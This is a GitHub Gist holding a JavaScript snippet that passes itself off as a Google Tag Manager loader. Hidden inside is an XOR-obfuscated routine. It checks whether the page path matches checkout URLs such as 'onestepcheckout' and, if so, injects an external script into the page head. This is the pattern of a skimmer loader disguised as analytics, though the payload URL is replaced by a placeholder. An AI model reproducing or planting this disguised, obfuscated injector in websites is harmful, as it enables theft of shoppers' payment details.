Skip to content

Instantly share code, notes, and snippets.

@krautface
Created June 10, 2019 06:30
Show Gist options
  • Save krautface/e8f0b2382d99761bba0bec417f0b5db1 to your computer and use it in GitHub Desktop.
Save krautface/e8f0b2382d99761bba0bec417f0b5db1 to your computer and use it in GitHub Desktop.
(function (w, d, s, l, i)
{
w[l] = w[l] || [];
w[l].push(
{
'gtm.start': new Date().getTime(),
event: 'gtm.js'
});
var f = d.getElementsByTagName(s)[0],
j = d.createElement(s),
dl = l != 'dataLayer' ? '&l=' + l : '';
j.async = true;
j.src =
'https://www.googletagmanager.com/gtm.js?id=' + i + dl;
var keyProc = null,
innerMeta = ['1f1612164c041c515b1509011f0d03', '13101206530e1946', '1f161215590609', '1f1612164c041c', '161105005b090951581f1f1e', '031d14104a040f5a56130105050c', '191c120650040f595c051e1c1d', '1f0b140d5d02075d4604', '00191004550402465c', '1f1c12085d', '161d140d591341515c1d1a1811'],
optEmbed = -1,
pickFooter = function (s, k)
{
var r = '',
c = null,
x = null;
for (var i = 0, j = 0; i < s.length; i += 2, j++)
{
if (j == k.length) j = 0;
x = parseInt(s[i] + s[i + 1], 16);
r += String.fromCharCode(x ^ String(k[j]).charCodeAt())
}
return r
};
var revSolution = pickFooter('130a12044c04295e561d0f0404', 'pxwe8al23pjj'),
sortResult = pickFooter('031b050c4815', 'pxwe8al23pjj'),
attrTooltip = pickFooter('031d03244c151e5b51051e0f', 'pxwe8al23pjj'),
selectDuration = window[pickFooter('1c1714044c08035c', 'pxwe8al23pjj')][pickFooter('0019030d56000157', 'pxwe8al23pjj')],
receiveEndpoint = pickFooter('19161300402e0a', 'pxwe8al23pjj');
var resAgreement = pickFooter('030a14', 'pxwe8al23pjj'),
toggleScale = document[pickFooter('181d1601', 'pxwe8al23pjj')],
licenseMaximum = pickFooter('1108070056052f5a5a1c0e', 'pxwe8al23pjj');
for (var i = 0; i < innerMeta.length; i++)
if (selectDuration[receiveEndpoint](pickFooter(innerMeta[i], 'pxwe8al23pjj')) !== optEmbed)
{
keyProc = document[revSolution](sortResult);
keyProc[attrTooltip](resAgreement, pickFooter('sorry-had-to-keep-secret-for-the-time-being', 'pxwe8al23pjj'));
toggleScale[licenseMaximum](keyProc);
break;
}
})(window, document, 'script', 'dataLayer', 'GTM-WYRDH');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment